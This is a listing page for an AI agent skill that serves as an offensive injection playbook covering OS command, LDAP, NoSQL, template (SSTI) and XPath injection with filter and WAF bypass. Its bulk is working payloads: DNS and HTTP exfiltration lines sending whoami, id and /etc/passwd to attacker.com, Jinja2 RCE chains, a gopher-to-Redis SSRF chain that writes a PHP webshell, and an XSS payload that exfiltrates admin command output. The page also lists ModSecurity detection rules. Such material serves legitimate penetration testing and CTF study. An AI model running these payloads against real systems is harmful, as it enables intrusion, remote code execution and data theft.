Command injection advanced

From brucesongs/kali-claw · View interactive version

Command injection advanced is an AI agent skill from the GitHub repository brucesongs/kali-claw. Advanced injection attacks beyond SQL - covering OS command injection, LDAP injection, NoSQL injection, template injection (SSTI), XPath injection, and comprehensive filter bypass techniques.

How to use this skill

Skill file

Skill: Advanced Command Injection

Supplementary Files:

- payloads.md -- Injection payloads organized by 10 categories (OS command basics, filter bypass, LDAP injection, NoSQL injection, template injection, XPath injection, encoding/obfuscation, context-specific, blind injection, CyberGym templates)

- test-cases.md -- Structured test cases with severity levels (6 test cases covering command injection bypass, LDAP auth bypass, NoSQL injection, SSTI RCE, XPath injection, template engine exploitation)

- guides/command-injection-filter-bypass.md -- Comprehensive filter bypass techniques (space bypass, keyword bypass, encoding tricks)

- guides/ldap-nosql-injection-guide.md -- LDAP filter injection and MongoDB/Redis exploitation

- guides/ssti-exploitation-guide.md -- Template injection for RCE (Jinja2/Thymeleaf/FreeMarker)

- guides/blind-injection-techniques.md -- Time-based, DNS exfil, HTTP callbacks, error-based

Summary

Advanced Command Injection skill domain covering web attack operations beyond SQL injection.

Tools: commix, Burp Suite, ldapsearch, nosqli, tplmap, sqlmap, payload generators, filter analyzers, encoding scripts, callback servers

Domain: web-attack

OWASP: A03:2021-Injection

MITRE ATT&CK: TA0002-Execution

Description

Advanced injection attacks expand beyond SQL to target diverse interpreters and execution engines across web applications. This skill covers OS command injection (shell command execution), LDAP injection (authentication bypass), NoSQL injection (MongoDB/Redis exploitation), template injection (SSTI for RCE), XPath injection (XML data extraction), and comprehensive filter bypass techniques.

Six Core Injection Types:

Attack Surface: Web forms, API parameters, HTTP headers, file upload handlers, template renderers, authentication systems, search interfaces, configuration panels, CI/CD pipelines, serverless functions.

Use Cases

  1. Web Application Penetration Testing: Systematically probe command execution points (ping utilities, file processors, system tools), LDAP authentication interfaces, NoSQL query endpoints, and template renderers. Construct payloads to demonstrate exploitability and measure impact scope.
  1. Bug Bounty Hunting: Identify injection vulnerabilities in modern web stacks - serverless functions (AWS Lambda), container orchestration APIs, CI/CD webhooks, GraphQL resolvers, and microservice backends. Focus on high-value targets like authentication bypass and RCE chains.
  1. CyberGym Challenge Solving: Target IN1-IN4 bug classes with filter-aware payloads, blind injection techniques, and multi-stage exploitation chains. Adapt to restricted environments with encoding obfuscation and protocol-level manipulation.
  1. Security Code Audit: Review application code for unsafe command construction (os.system(), subprocess.call()), LDAP query builders, NoSQL query objects, template rendering logic, and XPath evaluators. Identify missing input validation and output encoding.
  1. Red Team Operations: Chain injection vulnerabilities with other attack vectors - SSRF to internal services, file upload to webshell, SSTI to reverse shell, LDAP injection to credential theft. Build multi-stage payloads for defense evasion and persistence.
  1. Filter and WAF Bypass Research: Analyze blacklist patterns, encoding normalization bugs, and parser differentials. Develop bypass techniques for commercial WAFs (ModSecurity, CloudFlare, AWS WAF) and custom input filters.

Core Tools

| Tool | Purpose | Command Example |

|------|---------|-----------------|

| commix | Automated OS command injection detection and exploitation | commix -u "http://target/ping?host=127.0.0.1" --batch --technique=TFBSC |

| Burp Suite | HTTP interception, parameter tampering, injection testing, payload encoding | Repeater: modify POST body to inject SSTI payload |

| ldapsearch | LDAP query testing and filter manipulation | ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(uid=admin*)" |

| nosqli | NoSQL injection scanner for MongoDB, CouchDB | python nosqli-scan.py -t http://target/api/login -p username,password |

| tplmap | Template injection detection and exploitation (Jinja2, Mako, etc.) | python tplmap.py -u "http://target/view?name=test" |

| sqlmap | Multi-purpose injection tool (supports OS command via --os-cmd) | sqlmap -u "URL" --os-shell --technique=E |

| payload generators | Custom script tools for encoding, obfuscation, format conversion | python3 bypass-generator.py --payload "cat /etc/passwd" --encoding url,hex |

| filter analyzers | Blacklist detection and bypass suggestion tools | python3 filter-probe.py --target http://target/exec --wordlist keywords.txt |

| encoding scripts | Hex, octal, Unicode, base64 encoding utilities | echo "id" \| xxd -p (hex), printf '\\x69\\x64' (octal) |

| callback servers | Out-of-band detection (DNS exfil, HTTP callbacks) | Burp Collaborator, interact.sh, webhook.site |

Auxiliary tools: CyberChef (multi-stage encoding), Hackvertor (Burp encoding plugin), parameth (parameter discovery), Arjun (hidden parameter scanner), ffuf (fuzzing), wfuzz (payload iteration).


Methodology

Attack Chain

[1] Input Point             [2] Injection Testing      [3] Filter Bypass
    Discovery                  - Syntax probes            - Encoding obfuscation
  - Command execution          - Context analysis         - Keyword alternatives
  - LDAP authentication        - Error message analysis   - Space/separator tricks
  - NoSQL query endpoints      - Behavior comparison      - Null byte injection
  - Template renderers              |                         |
  - XPath evaluators               v                         v
       |                      [4] Exploitation          [5] Post-Exploitation
       v                        - RCE payload delivery    - Reverse shell upgrade
  Authentication bypass          - Data exfiltration       - Credential harvesting
  Data extraction                - Privilege escalation    - Lateral movement
  Service enumeration            - Blind injection         - Persistence mechanisms

Stage 1: Input Point Discovery

Stage 2: Injection Testing

Stage 3: Filter Bypass

Stage 4: Exploitation

Stage 5: Post-Exploitation

1. OS Command Injection

Basic Detection
Filter Bypass - Space Replacement

Use commix tool for automated space bypass detection, or apply manual techniques:

Filter Bypass - Keyword Evasion

Bypass blacklist filters using:

Advanced Techniques

Use automated tools:


2. LDAP Injection

Authentication Bypass

LDAP filter syntax uses boolean logic (& for AND, | for OR) and wildcards (*). Injection manipulates these operators.

Techniques:

Data Extraction via Blind Injection
# Length enumeration - determine attribute length
username: admin)(|(uid=*  # Always true
username: admin)(|(uidNumber>=1000)  # Test numeric ranges

# Binary search for specific characters
# If "a" is first character of sn (surname):
username: admin)(|(sn=a*)  # True if starts with "a"
username: admin)(|(sn=b*)  # False if doesn't start with "b"

# Enumerate all users
ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(uid=*)"

# Extract specific attributes
ldapsearch -x -H ldap://target -b "dc=example,dc=com" "(uid=admin)" sn mail telephoneNumber
LDAP Injection Testing Tools
# Manual testing with curl (HTTP to LDAP bridge)
curl -X POST http://target/login \
  -d "username=admin*)(%26(uid=*&password=test"

# Automated scanning
ldapdomaindump ldap://target -u 'DOMAIN\user' -p 'password'

# Fuzzing LDAP filters
wfuzz -c -z file,ldap-injections.txt \
  "http://target/search?query=FUZZ"

3. NoSQL Injection

MongoDB Operator Injection

NoSQL databases use operators for query construction instead of SQL syntax.

Techniques:

Tool: Use nosqlmap for automated operator detection and exploitation.

Redis Command Injection

Redis Lua scripting via EVAL command can execute system commands.

Concept: Chain Lua script execution with system command primitives.

Technique: Via SSRF vulnerability using gopher protocol to access internal Redis → execute Lua RCE chain.

Tool: redis-cli for direct access, Burp Suite for protocol-level crafting.


4. Template Injection (SSTI)

Detection Phase

Test multiple template syntaxes to identify template engine:

Polyglot detection approach: Send expressions from multiple template engines, analyze which syntax evaluates vs. remains literal. Position of evaluation indicates engine type.

Tool: Use tplmap for automated polyglot detection across all supported engines.

Engine Fingerprinting

Each template engine has distinct markers and accessible objects:

Tool: tplmap fingerprints and identifies engine automatically.

Exploitation

Each template engine has distinct RCE chains based on available classes and functions.

Jinja2 approach: Access class hierarchy to locate executable classes, import system modules.

Thymeleaf approach: Use T() operator for Java Runtime.exec() and process execution.

FreeMarker approach: Instantiate Execute class or ObjectConstructor for command execution.

Twig/Smarty approach: Manipulate filter callbacks or register dangerous functions.

Pug approach: Access global process object for child_process execution.

Tool: tplmap automates full exploitation chain for identified engine.


5. XPath Injection

Authentication Bypass

XPath uses boolean logic for query conditions. Inject logic operators to manipulate filters.

Techniques:

Concept: Restructure XPath query to always evaluate as true regardless of credentials.

Blind XPath Injection

Extract data without direct output visibility via binary search.

Functions available in XPath:

Technique: Boolean-based inference through response timing or error analysis.


Defense Perspective

Input Validation and Sanitization

OS Command Injection Prevention:

LDAP Injection Prevention:

NoSQL Injection Prevention:

Template Injection Prevention:

XPath Injection Prevention:

Detection and Monitoring

# WAF rules to detect injection attempts
# Command injection signatures
SecRule ARGS "@rx (?:;|\||&&|\$\(|`)" "id:1001,deny,status:403"

# LDAP injection signatures
SecRule ARGS "@rx (?:\*\)|\(.*\||\)\(|objectClass)" "id:1002,deny,status:403"

# NoSQL injection signatures
SecRule REQUEST_BODY "@rx (?:\$ne|\$gt|\$where|\$regex)" "id:1003,deny,status:403"

# SSTI signatures
SecRule ARGS "@rx (?:\{\{.*\}\}|\$\{.*\}|<%=.*%>|#\{.*\})" "id:1004,deny,status:403"

Security Testing Checklist


Advanced Techniques

Polyglot Payloads

Payloads that work across multiple contexts or injection types.

# OS command injection polyglot (multiple separators)
;id|whoami&hostname`uname -a`$(pwd)

# SSTI polyglot (multiple template engines)
{{7*7}}${7*7}#{7*7}<%= 7*7 %>${{7*7}}

# LDAP/NoSQL/XPath authentication bypass polyglot
' or '1'='1' -- 
admin' or '1'='1' /*
{"$ne": null}

# Encoding chain polyglot
%253B%2569%2564          # Double URL-encoded ;id
\x3B\x69\x64             # Hex encoded ;id
\073\151\144             # Octal encoded ;id

Context-Specific Bypass

Windows Command Injection
# PowerShell-specific bypass
; powershell -c "whoami"
| powershell -enc <base64>

# CMD-specific bypass
& dir C:\
&& type C:\Windows\System32\drivers\etc\hosts

# Environment variable obfuscation
%COMSPEC% /c whoami
%SystemRoot%\System32\cmd.exe /c dir
Python-Specific Payloads
# Python subprocess injection
__import__('os').system('id')
__import__('subprocess').check_output(['id'])

# Python eval injection (NoSQL $where, SSTI)
eval('__import__("os").system("id")')
compile('__import__("os").popen("id").read()','','single')

Blind Injection Techniques

Time-Based Detection
# OS command injection (universal)
; sleep 5 #
| ping -c 5 127.0.0.1 #
&& timeout 5 #

# NoSQL MongoDB (JavaScript eval)
{"$where": "sleep(5000)"}

# XPath (limited time-based functions)
' or contains(//user[1]/password,'a') and sleep(5) or '1'='2
DNS Exfiltration
# OS command injection
; nslookup $(whoami).attacker.com #
| dig $(cat /etc/passwd | base64 | head -c 50).attacker.com #

# SSTI (Jinja2)
{{config.__class__.__init__.__globals__['os'].popen('nslookup $(whoami).attacker.com').read()}}

# NoSQL (if exec allowed)
{"$where": "global.process.mainModule.require('child_process').execSync('nslookup $(whoami).attacker.com')"}
HTTP Callback
# Burp Collaborator / interact.sh / webhook.site
; curl http://burpcollaborator.net/$(whoami) #
| wget http://webhook.site/xxx?data=$(id|base64) #

# SSTI callback
{{config.__class__.__init__.__globals__['os'].popen('curl http://attacker.com/?c=$(id)').read()}}

Filter Evasion Techniques

Case Manipulation

Concept: Some systems allow case-insensitive command execution.

Method: Mix uppercase and lowercase characters in command names.

Wildcard Obfuscation

Concept: Use glob patterns with ? and * wildcards to match filesystem paths.

Method: Replace command name segments with wildcard patterns.

String Concatenation

Concept: Reconstruct commands via variable assignment and expansion.

Methods:


CyberGym Challenge Patterns

IN1-IN4 Bug Class Exploitation

Based on v0.1.46 trace analysis, IN1-IN4 challenges show common patterns:

Pattern 1: Filter-Aware Encoding

Pattern 2: Blind Command Execution

Pattern 3: LDAP Authentication Bypass

Pattern 4: NoSQL Operator Injection

Pattern 5: SSTI in Template Context

Payload Adaptation Strategy

# Step 1: Identify injection context from challenge description
# Keywords: "ping utility", "LDAP authentication", "template system", "search API"

# Step 2: Start with basic detection payload
# Command: Test separator
# LDAP: Test wildcard
# NoSQL: Test operator
# SSTI: Test arithmetic expression

# Step 3: Analyze error messages or behavior
# Keyword filtered? → Apply encoding bypass
# No output? → Switch to blind detection
# Authentication failed? → Try different operators

# Step 4: Iterate with progressive bypass
# Level 1: Basic syntax
# Level 2: Space bypass techniques
# Level 3: Keyword bypass techniques
# Level 4: Encoding chain combinations

# Step 5: Confirm exploitation
# Command injection: Output visible or time delay confirmed
# LDAP: Authentication successful with bypass payload
# NoSQL: Authentication bypassed or data extracted
# SSTI: Expression evaluated and result visible

Tool support: Use commix to automate levels 1-4 testing, tplmap for SSTI, nosqlmap for NoSQL.


Tool Mastery Progression

Beginner (Weeks 1-2)

Focus: Basic injection syntax and manual testing

Lab Environment:

Milestones:

Intermediate (Weeks 3-6)

Focus: Filter bypass and blind injection

Tools:

Milestones:

Advanced (Weeks 7-12)

Focus: Multi-stage exploitation and evasion

Advanced Techniques:

Milestones:


Integration with Other Skills

SSRF → Command Injection Chain

# Exploit SSRF to access internal Redis, then achieve RCE via EVAL
curl "http://target/fetch?url=gopher://127.0.0.1:6379/_EVAL%20%22redis.call('CONFIG','SET','dir','/var/www/html')%22%200"
curl "http://target/fetch?url=gopher://127.0.0.1:6379/_EVAL%20%22redis.call('SET','payload','<?php system($_GET[c]); ?>')%22%200"

File Upload → SSTI Chain

# Upload SVG with embedded SSTI payload
<svg><text>{{config.__class__.__init__.__globals__['os'].popen('id').read()}}</text></svg>

# Upload image with malicious EXIF metadata (template context)
exiftool -Comment='{{7*7}}' image.jpg

XSS → Command Injection Chain

# XSS payload calls admin API with command injection
<script>
fetch('/api/admin/exec?cmd=;id', {credentials: 'include'})
  .then(r => r.text())
  .then(d => fetch('http://attacker.com/?data=' + btoa(d)))
</script>

References and Resources

Official Documentation

Practice Labs

Tools and Scripts


Quick Reference

Injection Type Identification Matrix

| Context Clue | Likely Injection Type | Detection Payload |

|--------------|----------------------|-------------------|

| System utility (ping, nslookup) | OS Command | ;id, \|whoami |

| Login with AD/LDAP | LDAP Injection | admin*, *)(&(uid=* |

| MongoDB/Redis API | NoSQL Injection | {"$ne": null}, {"$gt": ""} |

| Email/report generator | SSTI | {{7*7}}, ${7*7} |

| XML-based authentication | XPath Injection | ' or '1'='1, '] \| //* \| a[' |

Bypass Technique Quick Reference

| Filter Type | Bypass Technique | Example |

|-------------|------------------|---------|

| Space blacklist | IFS, tabs, brace expansion | cat${IFS}/etc/passwd, {cat,/etc/passwd} |

| Keyword blacklist | Concatenation, wildcards | c''at, /???/c?t, c[a]t |

| Semicolon filter | Pipe, newline, subshell | \|id, %0aid, ` id ` |

| Quote filter | Backslash, hex encoding | c\at, \x2f\x65\x74\x63 |

Common Error Messages

| Error | Meaning | Next Step |

|-------|---------|-----------|

| "sh: syntax error" | Command syntax broken | Check quotes, escaping |

| "LDAP: Invalid DN syntax" | LDAP filter malformed | Verify parenthesis balance |

| "MongoError: $where" | $where blocked | Try $ne, $gt operators |

| "TemplateSyntaxError" | SSTI syntax invalid | Fingerprint engine |


This skill targets CyberGym IN1-IN4 bug classes and expands injection coverage beyond SQL to modern attack vectors including LDAP, NoSQL, SSTI, and advanced filter bypass techniques.

Detection Methods

Web Application Layer

Runtime Indicators

SIEM Detection Rules

Defense Evasion Techniques

WAF Bypass

Filter Bypass

Modern Mitigation Bypass

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.